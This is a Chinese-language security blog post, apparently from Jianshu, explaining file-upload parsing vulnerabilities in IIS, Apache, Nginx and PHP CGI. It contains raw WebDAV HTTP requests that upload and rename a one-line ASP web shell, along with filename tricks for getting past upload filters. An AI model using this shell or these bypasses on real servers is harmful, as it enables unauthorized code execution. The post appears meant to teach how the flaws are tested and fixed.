文件上傳之解析漏洞

解析漏洞

文件上傳漏洞通常與Web容器的解析漏洞配合利用
常見Web容器有IIS、Nginx、Apache、Tomcat等

IIS解析漏洞

IIS6.0在解析文件時存在以下兩個解析漏洞

1、當建立*.asp、*.asa格式的文件夾時,其目錄下任意文件都會被iis當作asp文件來解析。
2、當文件為*.asp;1.jpg時,IIS6.0同樣會以ASP腳本來執行。

WebDav漏洞

    WebDav是一種基于HTTP1.1協議的通信協議,它擴展了HTTP協議。在開啟WebDav后若
支持PUT、Move、Copy、Delete等方法,就會存在安全隱患。

測試步驟如下:
    1)通過OPTIONS探測服務器所支持的HTTP方法
    請求:
    OPTIONS / HTTP/1.1
    Host: www.xxxx.com
    2)通過PUT方法向服務器上傳shell
    請求:
    PUT /a.txt HTTP/1.1
    Host: www.xxxx.com
    Content-Length: 30

    <%eval request("chopper") %>
    3)通過Move或Copy方法改名
    請求:
    COPY /a.txt HTTP/1.1
    Host: www.xxxx.com
    Destination: http://www.xxxx.com/cmd.asp
    4)用DELETE方法刪除文件
    請求:
    DELETE /a.txt HTTP/1.1
    Host: www.xxxx.com

注:可用桂林老兵的IIS Write快速探測服務器是否存在WebDav漏洞

Apache解析漏洞

在Apache 1.x和Apache 2.x中存在解析漏洞。

Apache在解析文件時有一個原則,當碰到不認識的擴展名時,將會從后向前解析,
直到碰到認識的擴展名為止,如果都不認識,則會暴露其源代碼。
如:1.php.rar.sa.xs就會被解析為php,可以據此來繞過文件名限制

可以在Apache安裝目錄下的文件"/conf/mime.types"中配置Apache可以識別的文件名

Nginx解析漏洞

對低版本的Nginx可以在任意文件名后添加%00.php進行解析攻擊
如:上傳圖片xx.jpg,然后通過改名為xx.jpg%00.php就會解析為php

PHP CGI解析漏洞

當php的配置文件中的選項cgi.fix_pathinfo = 1開啟時,當訪問http://www.xxx.com/x.txt/x.php
時,若x.php不存在,則PHP會遞歸向前解析,將x.txt當作php腳本來解析

IIS中:任意文件名/任意文件名.php就會被解析為php
Nginx中:任意文件名/任意文件名.php就會被解析為php
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • 1.什么是解析漏洞 以其他格式執行出腳本格式的效果。 2.解析漏洞產生的條件 1.命名規則 2.搭建平臺 3.常見...
    查無此人asdasd閱讀 1,880評論 0 3
  • 文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,并通過此腳本文件獲得了執行服務器端命令的能力。這種攻擊方式是最為直...
    付出從未后悔閱讀 1,185評論 0 4
  • 在日常生活中,很多人都會為自己的現在和未來考慮,做事情會考慮自己的感受,卻不考慮別人的想法。不過這不是大多數人的常...
    戀星座閱讀 292評論 0 0
  • 每天都會在夜里凌晨三點鐘左右醒來,準時的可怕,像那天一樣。然后,翻翻手機,發現什么都沒有。 接著,起床讀書,像往常...
    七月的小七閱讀 242評論 0 0
  • 滿地都是便士,他卻抬頭看見了月亮
    暮影入侵閱讀 203評論 0 0